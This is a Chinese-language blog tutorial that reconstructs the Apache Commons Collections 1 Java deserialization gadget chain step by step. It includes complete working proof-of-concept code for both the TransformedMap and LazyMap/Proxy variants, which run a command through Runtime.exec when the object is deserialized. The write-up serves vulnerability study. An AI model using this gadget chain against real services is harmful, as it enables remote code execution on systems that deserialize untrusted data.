-

Java 反序列化第二条链 CC1

版本:JDK < 8u71

0x01 意义

老规矩,我们先讲为什么要学 cc1 链。CC1 全称 Commons Collections 1,Apache Commons Collections 是一个广泛使用的 Java 库,提供了一组额外的集合(例如:Bag、MultiMap、OrderedMap 等),这些集合扩展了 Java 标准库中的集合类(如 List、Set 和 Map)的功能。此外,它还提供了各种实用工具类和接口来简化集合的操作,看到集合类我们是不是想到了上一条 URLDNS 呢。

Apache Commons Collections 1(CC1)反序列化漏洞的利用链可以用于远程代码执行(RCE),即在目标系统上执行任意代码。这种漏洞利用通常涉及反序列化恶意构造的对象,从而在反序列化过程中触发特定类的方法,导致任意命令的执行。

居然可以任意代码执行,这可太 hacker 了(孩怕😡,所以我们就能总结出为什么要学 CC1 了

  1. Commons Collections 应用范围广,知名框架 Struts 就用了。
  2. 漏洞危害大,可以拿 shell 了。

0x02 分析

由于是倒着推链子,所以分析起来会很烧脑(个人感觉),所以接下来就以不断抛出问题,再解决问题的方式来分析。

命令执行在哪?

从链子最后面的那个类开始分析,我们前面也说了这条链子最后可以命令执行,那我们链子最后肯定要触发命令执行啊。

InvokerTransformer.transform

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

我们注意到这个类里的 transform 方法里实现了反射调用任意函数的功能,这不正是我们要找的任意代码执行的入口吗,OK,接着来看这个类的构造函数,看看怎么实例化这个类并且调它的 transform 方法

InvokerTransformer.InvokerTransformer

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

结合 transform 方法我们发现,第一个参数 methodName 是要调用的方法名,第二个参数 paramTypes 是这个要调用的函数的参数列表的参数类型,第三个参数 args 是要传给这个函数的参数列表。

那我们就可以利用 InvokerTransformer.transform 来实现命令执行了

1
2
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
invokerTransformer.transform(Runtime.getRuntime());

如上述代码,命令成功执行。

但是这个类没有重写 readObject 方法,所以我们还得继续找哪个类调用了 transform 方法。

谁调用了 transform 方法

TransformedMap.checkSetValue

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

这么一个方法调用了 transform ,而且 valueTransformer,和 value 我们都可控,这个类的构造方法是受保护的,我们可以找到它的静态方法 decorate

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

这个装饰方法接受三个参数,一个是 Map,一个是 keyTransformer,最后是 valueTransformer,map 是我们要修饰的对象,keyTransformer 用不上到时候传 null 就行了,valueTransformer 则是调用 transform 方法的对象,这个就是我们要控制的地方了

可是就算这样实例化了, checkSetValue 方法也不能直接调用(protected),我们得再找一下哪个类调用了 checkSetValue 方法。

我们看一下 AbstractInputCheckedMapDecorator 类的静态类的 MapEntrysetValue 方法

1
2
3
4
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

如果让 parent = TransformedMapvalue = Runtime 岂不是美哉?

看到 setValue 是不是就想到了对集合的那几个操作,通过Map.Entry接口,可以遍历和操作 Map 中的键值对。

比如:

1
2
3
for (Map.Entry<String, Integer> entry : map.entrySet()) {
System.out.println("Key: " + entry.getKey() + ", Modified Value: " + entry.getValue());
}

那我们就可以试一下是不是真的可以走到 AbstractInputCheckedMapDecorator 类的静态类的 MapEntrysetValue 方法里

1
2
3
4
5
6
7
8
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
Map map = new HashMap();
Map<Object,Object> transformMap = TransformedMap.decorate(map, null, invokerTransformer);
map.put("key", "value");
Runtime runtime = Runtime.getRuntime();
for(Map.Entry entry : transformMap.entrySet()) {
entry.setValue(runtime);
}

确实弹计算器了,但是这是为什么呢?为什么 entry.setValue 会走到 AbstractInputCheckedMapDecorator 里面去?我们简单调试分析一下

TransformedMap.decorate 的作用: TransformedMap.decorate 方法通常会创建一个 TransformedMap 实例,这个实例包装了传入的 map,并应用了指定的转换器(在你的例子中是 invokerTransformer)。decorate 方法并不会复制 map 的内容,而是将传入的 map 包装在一个新的 TransformedMap 实例中。

transformMap 的行为: 因为 transformMap 实际上是一个装饰器(decorator),它对 map 进行了装饰。这个装饰器不会复制 map 的数据,而是直接操作原始 map。因此,对 map 进行的任何修改,如 map.put("key", "value"),都会反映在 transformMap 上。

所以我们调试的时候发现 transformMap 的值也是 “key” -> “value”。

正好我们发现 TransformedMap 继承了 AbstractInputCheckedMapDecorator,所以 transformMap.entrySet() 走进了 AbstractInputCheckedMapDecorator 的 **entrySet()**,又因为 AbstractInputCheckedMapDecorator 里的静态类 MapEntry 重写了 setValue 方法,所以最后的 entry.setValue 就会走进来。

MapEntryAbstractMapEntryDecorator 的一个子类,作为装饰器的 MapEntry 提供了一种方式来增强或改变 Map.Entry 的行为。在 TransformedMap 中,MapEntry 主要负责:

  1. 调用 checkSetValue() 方法:在 setValue() 方法被调用时,MapEntry 会先调用 checkSetValue() 方法,这个方法用于对值进行检查或转换。checkSetValue() 方法会调用 TransformedMap 中的 valueTransformer 进行值的转换。
  2. **更新底层 Map**:在 checkSetValue() 方法处理完成后,转换后的值会被传递给底层 MapsetValue() 方法,从而更新底层 Map

大部分都是 gpt 的解释,我觉得得再学一下 java 才能看懂这些模块作用。

当然啦还得继续找,因为这个类还没有重写 readObject,那就继续找谁调用了 setValue

谁调用了 setValue 方法

AnnotationInvocationHandler

接下来这个类我们可以发现一个非常巧合的事情,以至于一度怀疑是开发者故意留的后门

  1. 重写了 readObject 方法
  2. 重写的 readObject 里用了 Map.entry 接口遍历
  3. 遍历的 entry 里调用了 setValue 方法

完美连上了,简直是神来之笔。

先看一下它的构造方法

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

第一个参数表示一个 Class 对象,该对象描述了某个具体的注解类型。换句话说,这个 Class 对象可以是任何实现了 Annotation 接口的类的 Class 对象。

第二个参数是一个 Map,键是 String 类型,表示注解成员的名称。值是 Object 类型,表示注解成员对应的值。

实例化 AnnotationInvocationHandler

它的构造方法没有任何修饰符,意味着只能在包内访问,所以我们只能通过反射来构造其实例化。

1
2
3
4
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Override.class, transformMap);

但是到这里如果想要序列化,我们还得考虑几个问题

如何解决 Runtime 不可序列化

你可能会问,我们不是要序列化 AnnotationInvocationHandler 吗,为什么要考虑 Runtime 是否可序列化?

在 Java 中序列化集合对象(如 Map、List、Set 等)时,集合中的所有元素(包括键和值)都必须是可序列化的。这是因为在序列化过程中,Java 会尝试序列化集合中包含的每一个对象。如果其中有任何对象不可序列化,整个序列化过程就会失败,并抛出 NotSerializableException 异常。

我们肯定是要在 instance 里实现这一段代码的

1
entry.setValue(runtime)

我们下断点就能发现,memberValues 作为 instance 的一个属性已经是我们传入的 transformMap ,而且其值正是

1
"key" -> "value"

所以说根据,序列化集合对象 集合中的所有元素(包括键和值)都必须是可序列化的 这一条性质,我们就必须让 runtime 也可序列化,毕竟后面设置了 key 的值为 runtime ,然后才执行序列化操作。

Runtime 虽然没有继承 Serializable,但是 Class 继承了,那我们就可以利用反射来实现 exec 方法

1
2
3
4
5
Class clazz = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null);
Method execMethod = clazz.getMethod("exec", String.class);
execMethod.invoke(runtime, "calc.exe");

然后用 invokerTransformer 类 来实现

1
2
3
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

这里可以发现在重复利用 transform 方法,刚好又有这么一个类的 transform 方法可以简写我们这段代码(真尼玛的巧)

ChainedTransformer

看一下它的构造函数,接受一个 Transformer 数组

1
2
3
4
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

以及 transform 函数

1
2
3
4
5
6
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

可以发现是一个递归调用 transform 函数,上一个 i 的 object 作为下一个 i 的 transform 函数的参数

image-20240801210436501

我们整理一下就可得到

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

不得不感慨一下,真是太优雅了,然后我们再整合进 AnnotationInvocationHandler 里面去

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map<Object,Object> transformMap = TransformedMap.decorate(map, null, chainedTransformer);
map.put("key", "value");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Override.class, transformMap);

当然到这里还是没有结束,我们还要考虑两个问题

如何顺利进入 readObject 里的判断

想要执行 setValue ,还得绕过两个 if,我们可以下断点调试看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

memberValue 就是我们设置的 “key” => “value” 键值对, 但是 memberTypenull,第一层 if 判断都进不去了。

memberType 来自于 memberTypes

1
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

获取注解类型的成员名称及其对应的类型。这个 Map 的键是成员的名称,值是成员的类型

这里注解类型我们传的是 Override

1
2
public @interface Override {
}

它是空的,所以没有成员名称及其对应的类型

1
2
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);

memberValue.getKey() 会拿到键名 “key”,然后 memberTypes.get(name) ,就会去 Override 里面找有没有一个叫 “key” 的成员,就是说 memberTypes.get 的参数是我们之前 map.put("key","value") 的 “key“.

我们可以看看 Target 注释。

1
2
3
public @interface Target {
ElementType[] value();
}

我们发现 Target 有一个 value 成员,所以键名取为 value,就能对应上了.

1
map.put("value", "value");

第二个 if 直接进来了,就不看了。

当然了,现在还是不能命令执行,又是什么问题呢,我们看看我们现在得到的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map<Object,Object> transformMap = TransformedMap.decorate(map, null, chainedTransformer);
map.put("value", "value");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Target.class, transformMap);

我们都知道

1
2
3
4
5
6
7
Map map = new HashMap();
Map<Object,Object> transformMap = TransformedMap.decorate(map, null, chainedTransformer);
map.put("value", "value");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Target.class, transformMap);

实现的是反序列化时走到 chainedTransformer.transform 时的参数是 Runtime.class

1
chainedTransformer.transform(Runtime.class);

也就是说 AnnotationInvocationHandler 里的 readObjectmemberValue.setValue 的参数得是 Runtime.class,但是可惜的是并不是这样

image-20240731232622513

如何设置 chainedTransformer.transform 的参数为我们可控

ConstantTransformer

直接看构造函数和 transform 方法

1
2
3
4
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
1
2
3
public Object transform(Object input) {
return iConstant;
}

巧,实在是太巧了,给人一种设计好的感觉,这个构造函数搭配 transform 方法就能够返回我们传的任意类。

怎么理解呢?虽然我们控制不了 setValue,因为写死了,那我们继续跟着链子走看一看,setValue 之后就会触发 checkSetValue ,这个我们之前已经推到过了,然后就会执行 valueTransformer.transformvalueTransformer 就是我们传的 chainedTransformer,参数就是 transformers。ok,可能还是看不出来我想表达什么,我们画个图

image-20240801004942241

这是 chainedTransformer 的调用图,上面的结果作为下面的输入,也就是说我们只要保证传给 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), 的参数是 Runtime.class 就行了

这个时候传进来的确实我们上面截图了的 **class.java.lang……**,

image-20240801005112468

有什么办法呢,这就说到 ConstantTransformer 类了,既然它的 transform 方法能返回任意类,而 chainedTransformer 里面又在循环调用 transform ,那我们就可以把 ConstantTransformer 插入 transforms 里面,类似于这种效果

image-20240801005806587

虽然最开始的参数是 class.java.lang……,但是 ConstantTransformer.transform 的返回值不是 transform 的参数,而是iConstant,也就是构造函数的参数,也就是 Runtime.class,这样就实现了完美绕过。

0x03 完整代码

image-20240804113711516

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map<Object,Object> transformMap = TransformedMap.decorate(map, null, chainedTransformer);
map.put("value", "value");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Target.class, transformMap);
serialize(instance);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
oos.writeObject(obj);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1.bin"));
ois.readObject();
}
}

0x04 拓展

上面分析的知识 CC1 链的其中一种版本,还有一种版本也就是 ysoserial 里给的另一种链,我们可以看一下官方给的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

可以发现后面都一样,区别就在于 transformedMap.checkSetValue 改成了 LazyMap.get ,我们看一下 LazyMap 的构造和 get 函数

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

所以我们只要触发 factory.transform(key) 就行了,到时候 factoryChainedTransformer,key 的话无所谓。

那么找谁调用了 get 方法,链子给的是 AnnotationInvocationHandler.invoke()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

可以看到第 22 行有 memberValues.get(member)memberValues 是可控的我们实例化的时候传 LazyMap 就行了

接下来思考两个问题

  1. 怎么绕过两个 if ?
  2. 怎么找谁调用了 invoke

paramTypes.length 要等于 0 才行,也就是传入的方法得是无参方法。我们回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类实际就是一个动态代理类要实现的接口,是一个InvocationHandler,也就是说我们可以通过动态代理来实现 invoke 方法的调用,既然有动态代理类了,那么我们代理对象找谁呢?

如果将 AnnotationInvocationHandler 对象用 Proxy 进行动态代理那么在 readObject 的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler.invoke

创建一个动态代理对象 proxyMap,使用 handlerAnnotationInvocationHandler)作为调用处理器。每次对 proxyMap 的方法调用都会委托给 handlerinvoke 方法,然后使用 proxyMap 创建了一个 AnnotationInvocationHandler 实例

1
2
3
4
5
6
7
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Main.class.getClassLoader(), new Class[]{Map.class}, handler);
Object instance = constructor.newInstance(Target.class, proxyMap);

我们发现 readObject 调用的 memberValues.entrySet() 正好是一个无参方法proxyMap.entrySet),进入 invoke 后刚好解决了我们第一个问题 ====> 绕过了两个 if,又不得不让人怀疑这是不是作者留的后门,实在是太巧了。

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*
* LazyMap
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Main.class.getClassLoader(), new Class[]{Map.class}, handler);
Object instance = constructor.newInstance(Target.class, proxyMap);
// serialize(instance);
unserialize();

下面是两条链的流程图

image-20240804122200155

有时候调试上述POC的时候,会发现弹出了两个计算器,或者没有执行到readObject的时候就弹出了计 算器,这显然不是预期的结果,原因是什么呢? 在使用Proxy代理了map对象后,我们在任何地方执行map的方法就会触发Payload弹出计算器,所 以,在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了 命令。 ysoserial对此有一些处理,它在POC的最后才将执行命令的Transformer数组设置到transformerChain 中,原因是避免本地生成序列化流的程序执行到命令。

为了调试方便我们也可以把 idea 调试的自动 tostring 和展示集合对象那俩选项关掉

0x05 思考

写了很久其实也可以总结一下了,在找反序列化的过程中我们不断在问,“谁”调用了“xx”方法,这里的 xx 方法就是联系两个类的纽带,这里的“谁”就是我们要从后往前找的类,每次我们找到了这个类第一件事就是看这个类里的构造方法,或者触发该构造方法的函数,直到找到一个类能重写 readObject,当然这只是一个大致的思路,中间可能会碰到各种复杂的情况,我们都要一一 hack 下来。

代码审计(尤其是 java)真的是很难很枯燥,但是坚持到最后真的很酷很爽,这是我复现的第一条 cc 链,感触颇多,没有 p神 的文档和白组长的视频还有前辈们的资料靠我自己根本难以理解以及复现,最后以一首诗与诸君共勉吧,希望代码审计的路上我们都能不忘初心。

忆秦娥·娄山关
毛泽东

西风烈,长空雁叫霜晨月。

霜晨月,马蹄声碎,喇叭声咽。
雄关漫道真如铁,而今迈步从头越。

从头越,苍山如海,残阳如血。

八月一日